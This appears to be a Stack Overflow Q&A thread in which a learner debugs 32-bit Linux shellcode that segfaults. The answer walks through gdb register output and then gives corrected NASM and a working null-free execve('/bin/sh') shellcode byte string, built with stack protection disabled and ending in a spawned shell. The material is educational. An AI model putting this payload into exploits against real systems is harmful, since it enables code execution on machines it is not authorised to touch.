7

I am trying to learn how to create shellcode, my goal is to call execve(). I wrote the code in assembly and it works perfectly, there are no null-bytes or absolute addressing methods. The code works fine, but when I copy the opcodes into a c program and test it to see if it works it returns segmentation fault. What is the problem?

ASM:

section .text     
global _start
_start:
    jmp xxx

xx:
    mov al,11
    pop ebx
    xor ecx,ecx
    xor edx,edx
    int 0x80
    mov al,1
    xor bl,bl
    int 0x80

section .data
xxx:
    call xx
path db "/bin/sh"

C CODE:

char shellcode[]={"\xb0\x0b\x5b\x31\xc9\x31\xd2\xcd\x80\xb0\x01\x30\xdb\xcd\x80"};

int main(){
    void (*ptr) (void) = &shellcode;
    ptr();
    return 0;
}
  • 1
    How are you compiling your C code? – Mr. E Aug 11 '18 at 13:56
  • gcc -z execstack xxx.c -fno-stack-protector -no-pie --o xxx – tropz Aug 11 '18 at 14:20
20

I see multiple problems with your shellcode. First of all let's debug your code. I compiled the C code containing your shellcode, run it with gdb and step until the first system call (int 0x80)

[----------------------------------registers-----------------------------------]
EAX: 0x5655700b --> 0xde3050f7 
EBX: 0x5655550c (<main+35>: mov    eax,0x0)
ECX: 0x0 
EDX: 0x0 
ESI: 0xf7f9fe24 --> 0x1d6d2c 
EDI: 0xf7f9fe24 --> 0x1d6d2c 
EBP: 0xffffd9d8 --> 0x0 
ESP: 0xffffd9c0 --> 0xf7fe5ae0 (<_dl_fini>: push   ebp)
EIP: 0x5655701f --> 0x1b080cd
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x5655701a <shellcode+2>:    pop    ebx
   0x5655701b <shellcode+3>:    xor    ecx,ecx
   0x5655701d <shellcode+5>:    xor    edx,edx
=> 0x5655701f <shellcode+7>:    int    0x80
   0x56557021 <shellcode+9>:    mov    al,0x1
   0x56557023 <shellcode+11>:   xor    bl,bl
   0x56557025 <shellcode+13>:   int    0x80
   0x56557027 <shellcode+15>:   add    BYTE PTR [eax],al
[------------------------------------stack-------------------------------------]
0000| 0xffffd9c0 --> 0xf7fe5ae0 (<_dl_fini>:    push   ebp)
0004| 0xffffd9c4 --> 0x0 
0008| 0xffffd9c8 (")UUV\030pUV$\376\371\367$\376\371\367")
0012| 0xffffd9cc --> 0x56557018 --> 0x315b0bb0 
0016| 0xffffd9d0 --> 0xf7f9fe24 --> 0x1d6d2c 
0020| 0xffffd9d4 --> 0xf7f9fe24 --> 0x1d6d2c 
0024| 0xffffd9d8 --> 0x0 
0028| 0xffffd9dc --> 0xf7de3141 (<__libc_start_main+241>:   add    esp,0x10)
[------------------------------------------------------------------------------]

Here we can see a few problems:

  • The EAX register is not set to 0xb. This is because your shellcode does not clear the values in the register and instead it just sets the lower byte with the instruction mov al, 0xb
  • The EBX register should be pointing to the char* with the file you're trying to run (usually it's "/bin/sh"), instead it's pointing to a random memory position, in this case in the main function.
  • The ECX register should be pointing to the array of char* that indicates the complete command you want to run. In most shellcodes I've seen it's just ["/bin/sh", 0], but you may want to use something different such as ["/path/to/binary","-argument1",..., 0], in this case you should create that array in memory. In your shellcode ECX is set to 0x0
  • The EDX register represents the environment for the execution of the binary. You can take a look at the execve(3) manual page to understand a bit more how it is used, but for our purpose here it's ok to have a NULL value in it

Now, how can we fix it? Well, first of all we'll need to point EBX to a "/bin/sh\0" string in a memory portion we can access, f.e. the stack. And we need to do that in our shellcode. We can do it with the following gadget:

xor eax, eax //Clear the eax register so we have a null byte to end our string
push eax
push "n/sh" //The string needs to be written "backwards"
push "//bi" //The double "/" is to avoid null bytes in our shellcode
mov ebx, esp //esp is pointing to "//bin/sh\0", so we need to move that pointer to ebx

Then we need to point ECX to an array of char* such as ["/bin/sh", 0]. We already have a part of it in EBX, so continuing our shellcode we can do the following:

xor eax, eax 
push eax
push "n/sh"
push "//bi"
mov ebx, esp
push eax // Remember it's still 0 from our previous xor eax, eax
push ebx // Push it so ESP points to EBX
mov ecx, esp // move ESP to ECX, the result is ECX -> EBX -> "//bin/sh\0"

Finally, we should set the AL register to 0xb and make the syscall. So our final shellcode should look like this:

section .text
global _start
_start:
    jmp trampoline

shellcode:
    xor eax, eax
    push eax
    push "n/sh"
    push "//bi"
    mov ebx, esp
    push eax
    push ebx
    mov ecx, esp
    mov al,11
    int 0x80

section .data
trampoline:
    call shellcode

We can compile it nasm nasm -o shellcode.bin -f elf32 -O0 shellcode.nasm, extract the opcodes and put them in the C code to test it:

char shellcode[] = "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";
int main(){
    (*(void(*)())shellcode)();
    return 0;
}

Compile it with your favorite compiler, I use gcc gcc -o shellcode.o -fno-stack-protector -z execstack -m32 shellcode.c. And run it:

$ ./shellcode.o 
sh-4.4$ 
| improve this answer | |
  • syscall shouldn't be in code-formatting because the OP isn't using the syscall instruction (available in 32-bit user-space only on AMD CPUs). You're using it only as shorthand for the English phrase "system call", not the instruction or the glibc wrapper function called syscall. – Peter Cordes Aug 11 '18 at 21:02
  • It's ok on Linux to use execve with argv = NULL. I've seen that in shellcode examples before. It's treated by the Linux kernel as equivalent to a pointer to [NULL] (an empty list), as documented in the man page. Apparently some / most shells are written defensively and don't use argv[0] without checking that argc>=1. – Peter Cordes Aug 11 '18 at 21:08
  • 1
    The OP tried to get EBX pointing to a string with the old jmp / call / pop trick. But they put the jump target in .data, and apparently omitted the jmp from their shellcode (as well as the call and string data at the end of the shellcode.) – Peter Cordes Aug 11 '18 at 21:12
  • @PeterCordes You are right about the syscall and didn't notice the jmp/call/pop trick, I'll edit the answer for the first point. About the argv = NULL, I've never seen a shellcode as that, do you have an example? – Mr. E Aug 11 '18 at 23:41
  • Just in SO questions; that's the only case I've encountered shellcode. I'll see if I can dig up an example if I get around to it, or try it with bash on my system and see if it works. – Peter Cordes Aug 12 '18 at 0:04

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.